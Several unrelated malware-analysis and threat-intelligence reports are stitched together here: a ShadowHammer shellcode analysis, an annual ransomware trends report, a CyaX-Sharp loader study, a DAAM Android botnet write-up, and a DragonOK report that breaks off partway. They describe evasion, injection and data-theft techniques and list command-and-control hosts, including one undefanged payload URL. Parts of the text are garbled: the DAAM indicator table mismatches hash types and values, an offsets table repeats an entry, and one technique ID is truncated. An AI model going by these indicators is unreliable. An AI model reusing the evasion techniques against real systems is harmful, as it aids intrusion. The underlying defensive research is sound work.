At a high level, the Setup.exe binary appeared to be a legitimate file. It was signed, meta-information matched legitimate files, and the majority of the code matched other legitimate setup files. However, when comparing a legitimate Setup.exe with the malicious one, we find the code has been patched to divert execution from _crtCoreExitProcess to a new function. This new function (which we renamed to drop_shellcode) contains the code to extract, decode, and execute the embedded payload. By placing the diversion at the end of the Setup.exe file right before the ExitProcess, this will ensure the legitimate file runs as expected, reducing the chance of discovery.
Investigating the shellcode dropping function, we find that it begins by allocating memory within the Setup.exe process with a VirtualAlloc call, then copies embedded shellcode into the allocated memory. Interestingly, this first step only copies the first 16 bytes of the payload into memory before decoding them. These bytes actually contain the size of the payload, which is then passed to a second VirtualAlloc call. The main shellcode is then written, decoded, and executed. The decoding routine won’t be analyzed here, but similar code has been used by Winnti previously.
**Analyzing the Shellcode**
According to our analysis so far, the shellcode performs the following actions:
1. Resolves library functions it needs to call later.
a. First, kernel32’s base address is found by traversing structures in the PEB and matching the module name by checking for the k, l, and dot (.) characters.
b. The module's PE table is parsed to find the export table.
c. Functions hashed with a custom function and matched by iterating through each export.
d. Functions in other modules are found in the same way, but with the help of LoadLibraryExW to get the base address; this function is one of the first things located in kernel32 at the start.
2. MAC addresses are found from the machine by calling IPHLPAPI.GetAdaptersAddresses.
3. The MAC addresses are hashed with MD5.
4. The MD5 hashes are compared against a hardcoded list.
a. If no match is found, a mysterious IDX file is dropped to disk.
5. If a MAC address matches, a second stage payload is downloaded from a URL using a proxy-aware API call. This goes directly into RWX memory and is called.
**Function Resolution**
The shellcode starts by locating some library functions that it wants to use. This is broadly a two-step process, first looking for LoadLibraryExW and GetProcAddress from kernel32.dll, before resolving further functions from a number of DLLs later, armed with the address of LoadLibraryExW to use on the second stage.
For the first step, the base address of kernel32.dll is required. To find this, the Thread Information Block (TIB) is used to navigate structures and ultimately locate InInitializationOrderModuleList, which contains a list of loaded modules in the process.
The structures queried to get here are:
TIB -> PEB -> Ldr -> InInitializationOrderModuleList
In fact, InInitializationOrderModuleList is of type _LIST_ENTRY, which is a doubly-linked list, and its “Flink” (or forward link) is followed to traverse this list of modules. Each entry includes a BaseDllName field, and this field is checked in each entry to see if it matches kernel32.dll.
But in the spirit of obfuscation, they do not directly check if the name is “kernel32.dll”. Instead, they check for the presence of the k, l, and dot (.) in the appropriate locations in the string (checking each letter twice, once for lower case and again for upper case). And in fact, they only check the first byte of each 2-byte Unicode character, which works in practice but is certainly not the official way to compare Unicode characters.
This whole process can be seen in the commented code below:
Once kernel32.dll’s entry is found, its DllBase field can be read, giving the base address of the module. This is used with a function in the shellcode that accepts a module base address and a custom hash value for a function name. This function parses the PE header from the module in memory to locate the exports table. It then iterates through each export and runs a simple custom hash-like function on the name. When the matching hash value is found, the target function has been located in the export table, without needing to include the function name directly in the code. The address of the function is saved from the export table for later use.
This export table searching is shown commented below, with the hash code in the grey block:
The function resolution’s second step uses the same shellcode routine to look for hashed function names in the export table. But as it needs to call several other DLLs, it uses LoadLibraryExW, which it got in the first step to get the base address of the modules.
Below is where all the other hash values for function names are found in code, commented with the module and function name they correspond to:
These function addresses are saved in a structure that the rest of the code often accesses via a register base pointer. To help see what function is being called, you can use the following offsets:
| Offset | Function |
|--------|----------|
| 0x4 | kernel32.VirtualAlloc |
| 0x8 | kernel32.GetModuleFileNameW |
| 0xC | kernel32.WritePrivateProfileStringW |
| 0x10 | kernel32.GetSystemTimeAsFileTime |
| 0x14 | kernel32.FileTimeToSystemTime |
| 0x18 | kernel32.VirtualFree |
| 0x1C | ntdll.memcpy |
| 0x20 | ntdll.memcmp |
| 0x24 | ntdll.memset |
| 0x28 | ntdll.swprintf |
| 0x2C | ntdll.sprintf |
| 0x30 | ntdll.strncat |
| 0x34 | ntdll.MD5Init |
| 0x38 | ntdll.MD5Update |
| 0x3C | ntdll.MD5Final |
| 0x40 | IPHLPAPI.GetAdaptersAddresses |
| 0x44 | wininet.InternetOpenA |
| 0x48 | wininet.InternetOpenUrlA |
| 0x4C | wininet.InternetQueryDataAvailable |
| 0x50 | wininet.InternetReadFile |
| 0x4 | kernel32.VirtualFree |
Knowing these offsets and defining them makes the code a lot more readable.
**MAC Addresses**
Armed with these functions, the shellcode continues its work, moving on to the MAC validation phase. Here we can see it getting the MD5 hash of MAC addresses on the machine by calling a function within the shellcode we have called get_macs_and_md5. This is called twice. The first time gets the number of MAC addresses to help it allocate the right amount of memory to store all the MD5 hashes. The second time it actually generates and stores the MD5 hashes.
MAC addresses are obtained by calling GetAdaptersAddresses with AF_UNSPEC to get all interfaces.
These MD5 hashes are then checked against a set of hashes hardcoded into the shellcode.
**Stage 2 Payload Download and Execute**
If there is a MAC address match, the shellcode proceeds to download a second stage from the internet. The URL used for this stage is found hardcoded as a set of constant values, which are little-endian, so the string fragments look backward when forced to display as ASCII below:
Which gives the URL:
`https://asushotfix.com/logo2.jpg`
The URL is opened with a proxy-aware function. Data is downloaded from the URL directly into a memory region allocated read/write/execute, and finally, the stage 2 code is called. At the time of analysis, the second stage payload was no longer available from the callback URL. It is likely further information will become available over the coming weeks.
**Detection of ShadowHammer**
There are several indicators defensive teams can hunt for including the hashes of files, dropped files, and network-based IOCs.
**SHA-256 (along with the month it was seen)**
- bca9583263f92c55ba191140668d8299ef6b760a1e940bddb0a7580ce68fef82 June
- 6aedfef62e7a8ab7b8ab3ff57708a55afa1a2a6765f86d581bc99c738a68fc74 July
- ac0711afee5a157d084251f3443a40965fc63c57955e3a241df866cfc7315223 July
- e78e8d384312b887c01229a69b24cf201e94997d975312abf6486b3363405e9d Sep
- 736bda643291c6d2785ebd0c7be1c31568e7fa2cfcabff3bd76e67039b71d0a8 Sep
- 9bac5ef9afbfd4cd71634852a46555f0d0720b8c6f0b94e19b1778940edf58f6 Sep
- 9a72f971944fcb7a143017bc5c6c2db913bbb59f923110198ebd5a78809ea5fc Oct
- 357632ee16707502ddb74497748af0ec1dec841a5460162cb036cfbf3901ac6f Oct
- 9842b08e0391f3fe11b3e73ca8fa97f0a20f90b09c83086ad0846d81c8819713 Nov
**Dropped Files**
For systems not matching the MAC address filter, an idx file is created two levels up relative to the Setup.exe current directory, for example:
`C:\Program Files (x86)\ASUS\ASUS Live Update\Temp\6\Setup.exe`
`C:\Program Files (x86)\ASUS\ASUS Live Update\idx.ini`
**Network**
- host2.infoyoushouldknow.biz
- nano2.baeflix.xyz
- asushotfix.com
- www.asushotfix.com
- homeabcd.com
- simplexoj.com
- 141.105.71.116
- hxxps://asushotfix.com/logo.jpg
- hxxps://asushotfix.com/logo2.jpg
**PDB Indicator**
June sample – `D:\C++\AsusShellCode\Release\AsusShellCode.pdb`
**Summary**
The ShadowHammer attack is a great example of a supply chain attack where a threat actor abused a trusted update utility to distribute malware across the globe in a targeted way. As mentioned in the Kaspersky analysis, the attack shares similarities with those performed by the BARIUM group, suggesting a continuation and even escalation in the scale and sophistication of their operations.
From a defensive perspective, the significant time it took to uncover this attack demonstrates that the actions taken in the first stage of the incident are stealthy and difficult to detect. But it is quite possible that noisier indicators will be discovered as more information about the second stage payload is released.
To provide support for real-time and retrospective detection, it is strongly recommended that organizations deploy endpoint monitoring and response with an EDR agent, as this can give the visibility and control needed to combat such threats. |
# Annual Threat Trends 2021
**Equipe Cyber Threat Intelligence**
February 8, 2022
## Surge in Ransomware Attacks
2722
That’s the total number of ransomware attacks claimed in 2021, corresponding to 7 claims per day.
### Targeted Geography
When looking at the victimology of ransomware operators, one significant fact stands out: the geographical distribution of victims. Although few countries have been spared (108 countries targeted in total), this victimology points to two major trends:
- North America and Western Europe entities represent priority targets for these actors.
- The Commonwealth of Independent States (CIS) and Russia remain untouched areas by these attacks.
### Most Active Ransomware Operators in France
The majority of incident responses involving CERT Intrinsec have been from actors whose attribution cannot be certain. However, several cases have been explicit enough to determine with certainty the nature of the ransomware operators. This year, among the observed cases, the most prolific actors were Conti, Darkside, Ryuk, and Lockbit. Our daily monitoring of data leak websites shows that these actors remain in the top 10 most active ransomware affiliates against French entities.
### Most Common Techniques Used by the Most Active Ransomware Operators
We have analyzed the tactics, techniques, and procedures employed by the 10 most active ransomware operators in 2021. This analysis reveals that the following techniques are shared by at least 6 of the 10 selected groups:
- Initial Access: External Remote Services (T113)
- Execution: Command and Scripting Interpreter (T1059)
- Defense Evasion: Impair Defense (Disable or Modify Tools) (T1562.001)
- Discovery: File and Directory Discovery (T1083)
### Initial Access Vector: Vulnerabilities and Phishing on the Top
Our SOC and CERT operations, as well as our monitoring on hacking platforms, show that phishing and vulnerabilities exploitation remain the most common techniques employed by threat actors to gain an initial foothold on targeted networks.
### Exploitation of Remote Access Appliances
This trend was largely documented in 2020 after the beginning of the Covid-19 pandemic. RDP and VPN appliances used by employees to access their network remotely increased the attack surface of the corporate network. On the 49 missions covered by our CERT throughout 2021, Citrix, Fortinet, SonicWall, and Pulse appliances have been largely exploited by threat actors to compromise networks. The interest in RDP is also largely observed on hacking platforms with many initial access brokers specialized in selling this type of product.
### Most Frequent Vulnerabilities
Among the most exploited vulnerabilities identified by our CERT in 2021, Microsoft Exchange Server and ProxyShell exploits in particular are far ahead in terms of frequency, with 18% of incidents involving one of these vulnerabilities. However, more than 20% of all the vulnerabilities observed by our CERT as being actively exploited in 2021 date back to 2020, 2019, and 2018. Patches are not always applied immediately, allowing threat actors to exploit vulnerabilities months after their public releases. For example, ZeroLogon’s vulnerability CVE-2020-1472, discovered in 2020, has continued to be exploited by actors such as Conti and Darkside during the first half of 2021. This interest for vulnerabilities demonstrated by threat actors is largely supported by our SOC operations, as in 15,496 detections in 2021, “Execution of malicious code attempts” remains one of the most observed (13%).
### Phishing
Two key statistics highlighted by our SOC and CERT reveal that threat actors keep using phishing to get an initial foothold on a network:
- 12% of the incident responses conducted by CERT Intrinsec involved phishing attempts.
- The incident type “malicious link” is among the most observed by our SOC (alongside aggressive port scans, aggressive subnet scans, and brute force attempts).
This initial access technique is used by threat actors distributing loaders such as Emotet, IceID, Bazar Loader, or QakBot. This type of threat continues to target corporates and is often combined with other threats such as the exploitation of known vulnerabilities or ransomware.
### Cybercrime Marketplace Still Going Strong
The activity on cybercrime marketplaces keeps growing, as well as shifting from Dark towards Surface Web platforms. Our investigations conducted on these networks throughout 2021 identify particularly strong demand for the diverse typologies of criminal goods and services as follows:
- **33% Vulnerabilities**: Pronounced interest in buying/selling Remote Desktop Protocol configurations for fraudulent access to systems of companies operating across multiple sectors. SQL injections to target vulnerable websites are also in high demand.
- **33% Customer Data**: Stolen customer databases, containing sensitive information such as connection credentials to diverse online services or financial data, remain one of the most popular goods on cybercrime networks.
- **29% Company Data**: Employee connection credentials to internal companies’ internal services, i.e., efficient vectors of compromise, are a sought-after product. Likewise for internal sensitive or confidential data, such as strategic projects or HR information.
- **5% Counterfeit Goods/Services**: Demand for counterfeit goods and services on criminal marketplaces is persistent, although handled to a lesser extent from the viewpoint of CTI teams (dealing mostly with cases of fraudulent configurations imitating real services).
### Zero-Days and Supply Chain Attacks
Most impactful 2021 flaws involving Zero-Day vulnerabilities and/or a supply chain attack:
**January 2021**
US intelligence agencies formally accuse Russia of association with the SolarWinds attack that dates back to September 2019. Russian-state sponsored attackers inserted a backdoor into SolarWinds Orion IT monitoring software updates to 18,000 government entities and Fortune 500 companies. Through this, malware was distributed to at least nine US federal agencies and more than 100 companies.
**March 2021**
Accellion releases a last patch based on IR Mandiant report fixing a series of 0-day vulnerabilities affecting Accellion File Transfer Appliance compromise that started back in December 2020. Attacks carried out by a Russian-speaking cybercriminal group known as FIN11 using zero-days against Accellion FTA servers hit around 100 companies across the world in December 2020 and January 2021. In some cases, FIN11 leveraged CLOP double extortion infrastructure.
**March 2021**
Mass exploitation of Microsoft on-prem Exchange RCE dubbed Proxylogon. Indications of retroactive exploitation dating back two weeks. In March 2021, Chinese cyber espionage groups exploited four vulnerabilities in Microsoft’s on-premises Exchange Server software. This compromised more than 100,000 servers worldwide. Beyond the intelligence gathering from emails, the latter were abused for hijacking existing email threads by the infamous Emotet botnet.
**July 2021**
Pre-auth remote code execution of 0-day exploits against Kaseya VSA server. At the end of June, Kaseya, which provides a service to manage enterprise IT infrastructures, was compromised by the Russia-based REvil criminal gang. Kaseya can deploy software updates (patches) to the systems under management, so REvil used this to push ransomware to all Kaseya customers, affecting thousands of companies worldwide. 100 had some measure of impact from the attack, with another 25 of those experiencing significant data loss.
**December 2021**
The first proof of exploitation attempts would have been observed by Cloudflare and Cisco Talos. This open-source component is widely used across many suppliers’ software and services. Not only numerous state-sponsored threats crystallized on the situation, but also top-tier ransomware cartels, coin miners, and botnets. |
# See Ya Sharp: A Loader’s Tale
**By Max Kersten on Aug 04, 2021**
## Introduction
The DotNet based CyaX-Sharp loader, also known as ReZer0, is known to spread commodity malware, such as AgentTesla. In recent years, this loader has been referenced numerous times, as it was used in campaigns across the globe. The tale of CyaX-Sharp is interesting, as the takeaways provide insight into the way actors prefer to use the loader. Additionally, it shines a light onto a spot that is not often illuminated: the inner workings of loaders. This blog is split up into several segments, starting with a brief preface regarding the coverage of loaders in reports. After that, the origin of the loader’s name is explored. Next, the loader’s capabilities are discussed, as well as the automatic extraction of the embedded payload from the loader. Lastly, the bulk analysis of 513 unique loader samples is discussed.
## Loaders and their Coverage in Blogs
To conceal the malware, actors often use a loader. The purpose of a loader is, as its name implies, to load and launch its payload, thereby starting the next stage in the process. There can be multiple loaders that are executed sequentially, much like a Russian Matryoshka doll in which the smallest doll, which is hidden inside numerous others, is the final payload. The "smallest doll" generally contains the malware’s main capabilities, such as stealing credentials, encrypting files, or providing remote access to the actor.
While there is a lot of research into the actions of the final payload, the earlier stages are just as interesting and relevant. Even though the earlier stages do not contain the capabilities of the malware that is eventually loaded, they provide insight as to what steps are taken to conceal the malware. Blogs generally mention the capabilities of a loader briefly, if at all. The downside here lies in the potential detection rules that others can create with the blog, as the focus is on the final step in the process, whereas the detection should start as soon as possible.
Per best security practices, organizations should protect themselves at every step along the way, rather than only focusing on the outside perimeter. These threat models are often referred to as the onion and egg model. The egg’s hard shell is tough to break, but once inside, an attacker has free roam. The onion model opposes the attacker every step of the way, due to its layered approach. Knowing the behavior of the final payload is helpful to detect and block malware although, ideally, the malware would be detected as early on as possible.
This blog focuses on one specific loader family, but the takeaways are valid in a broader sense. The preferred configurations of the actors are useful to understand how loaders can be used in a variety of attacks.
## Confusing Family Names
A recent blog by G Data’s Karsten Hahn provides a more in-depth look into malware families' ambiguous naming schemes. This loader’s name is also ambiguous, as it is known by several names. Samples are often named based on distinctive characteristics in them. The name CyaX-Sharp is based upon the recurring string in samples. This is, however, exactly why it was also named ReZer0.
When looking at the most used names within the 513 obtained samples, 92 use CyaX-Sharp, whereas 215 use ReZer0. This would make it likely that the loader would be dubbed ReZer0, rather than CyaX-Sharp. However, when looking at the sample names over time, the reason why CyaX-Sharp was chosen becomes apparent: the name ReZer0 was only introduced 8 months after the first CyaX-Sharp sample was discovered. Based on this, McAfee refers to this loader as CyaX-Sharp.
Within the settings, one will find V2 or V4. This is not a reference of the loader’s version, but rather the targeted DotNet Framework version. Within the sample set, 62% of the samples are compiled to run on V4, leaving 38% to run on V2.
## The Loader’s Capabilities
Each version of the loader contains all core capabilities, which may or may not be executed during runtime, based on the loader’s configuration. The raw configurations are stored in a string, using two pipes as the delimiting value. The string is then converted into a string array using said delimiter. Based on the values at specific indices, certain capabilities are enabled.
The loader can delay its execution by sleeping for a certain number of seconds, use a mutex to ensure it is not already running, display a message box with a custom message, persist itself as a scheduled task, and/or execute a given payload in several ways. The payload can be downloaded from an external location, after which it is started. Alternatively, or additionally, the embedded payload within the loader can be launched. This can be done directly from the loader’s memory with the help of reflective calls, or by hollowing a newly created process.
### Process Hollowing
The newly created process is one of the following: MSBuild.exe, vbc.exe, RegSvcs.exe, or a new instance of the loader. The process hollowing code segment seems to be taken from NYAN-x-CAT’s GitHub, as the for-loop to start the process hollowing method is present in both the loader and the linked repository. The way an error is handled is not a standardized method, making the link between the publicly available code very likely. The loop calls the process hollowing function several times to more easily handle exceptions. In the case of an exception during the process hollowing, the targeted process is killed and the function returns. To try several times, a loop is used.
## Changes Over Time
Even though the loader has changed over time, it maintained the same core structure. Later versions introduced minor changes to existing features. Below, different loader versions will be described, where the length of the string array that contains the loader’s configuration is used to identify different versions.
There are two notable differences in versions where the config array’s size is larger than 29. Some specific samples have slightly different code when compared with others, but these differences are not sizable enough to warrant a new version.
Firstly, the ability to enable or disable the delayed execution of a sample. If enabled, the execution is delayed by sleeping for a predefined number of seconds. In config_29, the delay functionality is always enabled. The duration of the delay is based on the System.Random object, which is instantiated using the default seed. The given lower and upper limits are 45,000 and 60,000, resulting in a value between these limits, which equals in the number of milliseconds the execution should be delayed.
Secondly, the feature to display a custom message in a prompt has been added. The config file contains the message box’ title, text, button style, and icon style. Prompts can be used to display a fake error message to the victim, which will appear to be legitimate, e.g., "You do not have the proper software to view this document."
## Payload and Configuration Extraction
To automatically extract the payload and configuration of a given loader, one can recreate the decryption mechanism in a language of choice, get the encrypted data from the loader, and decrypt it. The downside here is the need for an exact copy of the decryption mechanism. If the key were to change, or a slightly different algorithm were to be used, the copy would also need to reflect those changes. To avoid dealing with the decryption method, a different approach can be taken.
This loader mistakenly uses static variables to store the decrypted payload and configuration. These variables are initialized prior to the execution of the main function of the loader. As such, it is possible to reflectively obtain the value of the two variables in question.
## Bulk Analysis Results
The complete set consists of 513 samples, all of which were found using a single Yara rule. The rule focuses on the embedded resource which is used to persist the loader as a scheduled task on the victim’s system. In some cases, the Yara rule will not match a sample, as the embedded resource is obfuscated using ConfuserEx. To deobfuscate, one can use ViRb3’s de4dot-cex fork of de4dot. The Yara rule will match with the deobfuscated binary.
The dates are based on VirusTotal’s first seen date. Granted, this date does not need to represent the day the malware was first distributed. However, when talking about commodity malware that is distributed in bulk, the date is reliable enough. The sample set that was used is smaller than the total amount of loaders that have been used in the wild. This loader is often not the first stage, but rather an in-memory stage launched by another loader. Practically, the sample set is sizable enough for this research, but it should be noted that there are more unique loader samples in the wild for the given date range than are used in this report.
It is useful to know what the capabilities of a single sample are, but the main area of interest of this research is based upon the analysis of all samples in the set. Several features will be discussed, along with thoughts on them. In this section, all percentages refer to the total of 513 unless otherwise specified.
### Widespread Usage
The loader’s usage is widespread, without a direct correlation towards a specific group or geographical region. Even though some reports mention a specific actor using or creating this loader, the fact that at least one builder has leaked makes attribution to one or more actors difficult. Coupled with the wide variety of targeted industries, as well as the broad geographic targeted areas, it looks like several actors utilize this loader.
### Execution Methods
The two options to launch a payload, either reflectively or via process hollowing, are widely apart in usage: 90% of all loaders use process hollowing, whereas only 10% of the samples are launched via reflection. Older versions of the loader sometimes used to reflectively load a decrypted stager from the loader’s resources, which would then launch the loader’s payload via process hollowing. The metrics do not reflect this, meaning the actual percentage of direct launches might be slightly lower than is currently stated.
Note that the reflective loading mechanism will default to the process hollowing of a new instance of the loader if any exception is thrown. Only DotNet based files can be loaded reflectively, meaning that other files that are executed this way will be loaded using a hollowed instance of the loader.
### Persistence and Mutexes
The persistence method, which uses a scheduled task to start the loader once the computer boots, is used by 54% of the loaders. This does not mean that the other 46% of the samples are not persisted on the victim’s machine, as a different stage could provide persistence as well. Notable is the date within the scheduled task, which equals 2014-10-25T14:27:44.8929027. If any of the systems in an organization encounter a scheduled task with this exact date, it is wise to verify its origin, as well as the executable that it points to.
A third of all loaders are configured to avoid running when an instance is already active using a mutex. Similar to the persistence mechanism, a mutex could be present in a different stage, though this is not necessarily the case. The observed mutexes seem to consist of only unaccented alphabetical letters.
### Delayed Execution
Delayed execution is used by nearly 37% of the samples, roughly half of which are config_29, meaning this setting was not configurable when creating the sample. The samples where the delayed execution was configurable equal nearly 19% of the total. On average, a 4 second delay is used. The highest observed delay is 600 seconds.
Note that one loader was configured to have a delay of 0 seconds, essentially not delaying the execution. In most cases, the delayed time is a value that can be divided by five, which is often seen as a round number by humans.
### Environmental Awareness
Prior to launching the payload, the loader can perform several checks. A virtual environment can be detected, as well as a sandbox. Roughly 10% of the samples check for the presence of a virtual machine, whereas roughly 11% check if it is executed in a sandbox. Roughly 8% of the 513 samples check for the presence of both, prior to continuing their execution. In other words, 88% of the samples that try to detect a virtual machine also attempted to detect a sandbox. Vice versa, 74% of the samples that attempted to detect the sandbox attempted to detect if they were executed on a virtual machine.
The option to disable Windows Defender was mainly present in the earlier samples, which is why only 15% of the set attempts to disable it.
### Payload Families
The loader’s final goal is to execute the next stage on the victim’s machine. Knowing what kind of malware families are often dropped can help to find the biggest pain points in your organization’s additional defensive measures. The chart provides insight into the families that were observed the most. The segment named other contains all samples that would otherwise clutter the overview due to the few occurrences per family, such as the RedLine stealer, Azorult, or the lesser-known MrFireMan keylogger.
The percentages in the graph are based on 447 total payloads, as 66 payloads were duplicates. In other words, 66 of the unique loaders dropped a non-unique payload. Of all families, AgentTesla is the most notable, both in terms of frequency and in terms of duplicate count. Of the 66 duplicates, 48 were related to AgentTesla.
### Barely Utilized Capabilities
Two functions of the loader that are barely used are the message box and the download of a remote payload. The usage of both is, respectively, 1.3% and 0.8%. All of the remote payloads also contained an embedded payload, although one of the four remotely fetching loaders does not contain a URL to download the remote payload from. The external file can be used as an additional module for a next stage, a separate malicious payload, or it can be used to disable certain defense mechanisms on the victim’s device.
## Conclusion
Companies using the aforementioned onion security model benefit greatly from the dissection of such a loader, as their internal detection rules can be improved with the provided details. This stops the malware’s execution in its tracks. The techniques that this loader uses are commonly abused, meaning that the detection of a technique such as process hollowing will also prevent the successful execution of numerous other malware families. McAfee’s Endpoint Security (ENS) and Endpoint Detection & Response (EDR) detect the CyaX-Sharp loader every step of the way, including the common techniques it uses. As such, customers are protected against a multitude of families based on a program’s heuristics. |
# DAAM Android Botnet Being Distributed Through Trojanized Applications
**April 20, 2023**
## Botnet With Ransomware And Data Theft Capabilities
In recent years, the widespread use of Android devices has made them a prime target for cybercriminals. Android botnet is a common malware type that cybercriminals use to gain access to targeted devices. These devices can be controlled remotely to carry out various malicious activities.
Cyble Research & Intelligence Labs (CRIL) recently analyzed an Android Botnet shared by MalwareHunterTeam. The mentioned malicious sample is the Trojanized version of the Psiphon application and identified as DAAM Android Botnet, which provides the following features:
- Keylogger
- Ransomware
- VOIP call recordings
- Executing code at runtime
- Collects browser history
- Records incoming calls
- Steals PII data
- Opens phishing URL
- Capture photos
- Steal clipboard data
- Switch WiFi and Data status
The DAAM Android botnet provides an APK binding service wherein a Threat Actor (TA) can bind malicious code with a legitimate app. CRIL analyzed an APK file named PsiphonAndroid.s.apk with the hash value of “184356d900a545a2d545ab96fa6dd7b46f881a1a80ed134db1c65225e8fa902b” which contains DAAM botnet malicious code bonded with a legitimate Psiphon application.
The malware connects to the Command and Control (C&C) server hxxp://192.99.251[.]51:3000.
## Technical Analysis
### APK Metadata Information
- **App Name:** Psiphon
- **Package Name:** com.psiphon3
- **SHA256 Hash:** 184356d900a545a2d545ab96fa6dd7b46f881a1a80ed134db1c65225e8fa902b
Initially, the malware establishes a socket connection and communicates with the C&C server at hxxp://192.99.251[.]51:3000 to obtain commands for carrying out a range of malicious activities.
### Command Operations
**Keylogger:**
Malware uses the Accessibility Service to monitor users’ activity. It saves the captured keystrokes along with the application’s package name into a database.
**Ransomware:**
The DAAM botnet provides a Ransomware module that leverages the AES algorithm to encrypt and decrypt files on the infected device. It retrieves the password required for encryption and decryption from the C&C server. The malware also saves a ransom note in the “readme_now.txt” file.
**VOIP Call Recordings:**
The DAAM botnet exploits the Accessibility service to monitor the components of social media applications such as WhatsApp, Skype, Telegram, and many others responsible for VOIP calls. If the user interacts with the targeted components, malware initiates audio recording.
**Collecting Browser History:**
The malware can gather bookmarks and browsing history stored on the target device and send them to the C&C server.
**Executing Code at Runtime:**
The malware can execute the code at runtime using DexClassLoader by receiving the method name, class name, and URL from the C&C server.
**Stealing PII Data:**
The DAAM botnet gathers Personally Identifiable Information (PII) from the infected device, including contacts, SMS messages, call logs, files, basic device details, and location data.
**Opening URL:**
Malware can receive a phishing URL from a C&C server, then load it into a WebView component to steal the victim’s login information.
**Collecting Screenshots:**
The malware steals screenshots saved at the external storage path “/Pictures/Screenshots” of an infected device and sends them to the C&C server.
**Capturing Photos:**
The malware captures pictures by opening the camera of the victim’s device upon receiving a command from the admin panel and subsequently sending pictures to the C&C server.
In addition to the main functionalities mentioned earlier, the DAAM botnet can carry out additional tasks such as switching WiFi and data, showing random toast, and collecting clipboard data.
## Conclusion
Malware authors often leverage genuine applications to distribute malicious code to avoid suspicion. The DAAM Android botnet provides a similar APK binding service where TA can bind malicious code with a legitimate APK to appear genuine.
Detailed analysis of the DAAM Android botnet indicates that it offers several intriguing capabilities, such as Ransomware, runtime code execution, and Keylogger, among others. Although relatively fewer samples have been identified so far, based on the malware’s capability, it may target a wide number of users in the coming days.
## Our Recommendations
We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below:
- Download and install software only from official app stores like Google Play Store or the iOS App Store.
- Use a reputed antivirus and internet security software package on your connected devices, such as PCs, laptops, and mobile devices.
- Never share your Card Details, CVV number, Card PIN, and Net Banking Credentials with an untrusted source.
- Use strong passwords and enforce multi-factor authentication wherever possible.
- Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile device wherever possible.
- Be wary of opening any links received via SMS or emails delivered to your phone.
- Ensure that Google Play Protect is enabled on Android devices.
- Be careful while enabling any permissions.
- Keep your devices, operating systems, and applications updated.
## MITRE ATT&CK® Techniques
| Tactic | Technique ID | Technique Name |
|-----------------|--------------|-----------------------------------------------------|
| Initial Access | T1476 | Deliver Malicious App via Other Means. |
| Initial Access | T1444 | Masquerade as a Legitimate Application |
| Collection | T1433 | Access Call Log |
| Collection | T1432 | Access Contact List |
| Collection | T1429 | Capture Audio |
| Collection | T1512 | Capture Camera |
| Collection | T1414 | Capture Clipboard Data |
| Discovery | T1418 | Application Discovery |
| Persistence | T1402 | Broadcast Receivers |
| Collection | T1412 | Capture SMS Messages |
| Impact | T1471 | Data Encrypted for Impact |
| Collection | T1533 | Data from Local System |
| Collection | T1417 | Input Capture |
## Indicators of Compromise (IOCs)
| Indicators | Indicator Type | Description |
|------------|----------------|-------------|
| SHA256 | Currency_Pro_v3.2.6.apk | 0fdfbf20e59b28181801274ad23b951106c6f7a516eb914efd427b6617630f30 |
| SHA1 | Currency_Pro_v3.2.6.apk | ee6aec48e19191ba6efc4c65ff45a88e |
| MD5 | Currency_Pro_v3.2.6.apk | hxxp://192.99.251[.]51:3000/socket.io/ |
| SHA256 | PsiphonAndroid.s.apk | 184356d900a545a2d545ab96fa6dd7b46f881a1a80ed134db1c65225e8fa902b |
| SHA1 | PsiphonAndroid.s.apk | bc826967c90acc08f1f70aa018f5d13f31521b92 |
| MD5 | PsiphonAndroid.s.apk | 99580a341b486a2f8b177f20dc6f782e |
| SHA256 | Boulder.s.apk | 37d4c5a0ea070fe0a1a2703914bf442b4285658b31d220f974adcf953b041e11 |
| SHA1 | Boulder.s.apk | 67a3def7ad736df94c8c50947f785c0926142b69 |
| MD5 | Boulder.s.apk | 49cfc64d9f0355fadc93679a86e92982 | |
# Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets
**By Jen Miller-Osborn and Josh Grunzweig**
**April 14, 2015**
## Summary
Palo Alto Networks Unit 42 used the AutoFocus threat intelligence service to identify a series of phishing attacks against Japanese organizations. Using AutoFocus to quickly search and correlate artifacts across the collective set of WildFire and other Palo Alto Networks threat intelligence, we were able to associate the attacks with the group publicly known as “DragonOK.” These attacks took place between January and March of 2015.
DragonOK has previously targeted Japanese high-tech and manufacturing firms, but we’ve identified a new backdoor malware, named “FormerFirstRAT,” deployed by these attackers. See the “Malware Details” section for analysis of the three RATs and two additional backdoors deployed in this persistent attack campaign.
## Campaign Details
This campaign involved five separate phishing attacks, each carrying a different variant of Sysget malware, also known as HelloBridge. The malware was included as an attachment intended to trick the user into opening it. This included altering the icon of the executable to appear as other file types as well as decoy documents to trick users into thinking they had opened a legitimate file.
All of the Sysget files used in this campaign communicate with a single command and control (C2) server, hosted at biosnews[.]info. Sysget communicates with this server using the HTTP protocol; see the Malware Details section for specifics of the command and control traffic. All five phishing campaigns targeted a Japanese manufacturing firm over the course of two months, but the final campaign also targeted a separate Japanese high-tech organization.
Four of the five Sysget variants included a form of decoy document to trick users into believing they had opened a legitimate file rather than malware. Two of the executables used decoy documents that included information about obituaries.
The Sysget sample with a PDF icon created a second executable, named Adobe.exe, which simply displayed a warning message. The final Sysget sample used a Microsoft Excel icon and opened an Excel document that contained cells filled with “XXXXXX.”
These Sysget variants appear to be a first stage payload in these attacks. During analysis of this threat, we identified five additional backdoor tools hosted on biosnews[.]info which may be downloaded by the Sysget variants once the attackers have established a foothold. Three of the backdoors, NFlog, PoisonIvy, and NewCT have previously been publicly associated with DragonOK. Additionally, the actors have now added the popular PlugX backdoor to their toolkit. An additional backdoor appears to be a new, custom-built tool, which we have not previously associated with DragonOK or any other attack group. We’ve named this tool “FormerFirstRAT” as it appears to be the name used by the developers to refer to their creations.
## Malware Details
### Sysget/HelloBridge
In this campaign, Sysget samples were attached to e-mails and used various icons to trick users into infecting their systems. The majority of these samples are self-extracting executables that contain both a malicious downloader, along with a legitimate file. When the self-extracting executable is launched, the downloader and legitimate file are typically dropped in one of the following directories and then executed:
- %PROGRAMFILES%
- %WINDIR%\Temp
When the malicious downloader is executed, it begins by creating the 'mcsong[]' event in order to ensure one instance is running. It then spawns a new instance of 'C:\\windows\\system32\\cmd.exe' with a window name of 'Chrome-Update'. It attempts to obtain a handle to this window using the FindWindowW API call and then proceeds to send a command to this executable. This allows the malware to indirectly execute a command within the cmd.exe process.
The malware then attempts to read a file used to store a key that is later used to decrypt data received during network communications. If the file does not exist, it will make a GET request to the server. The server responds with data that is then written to the temporary file.
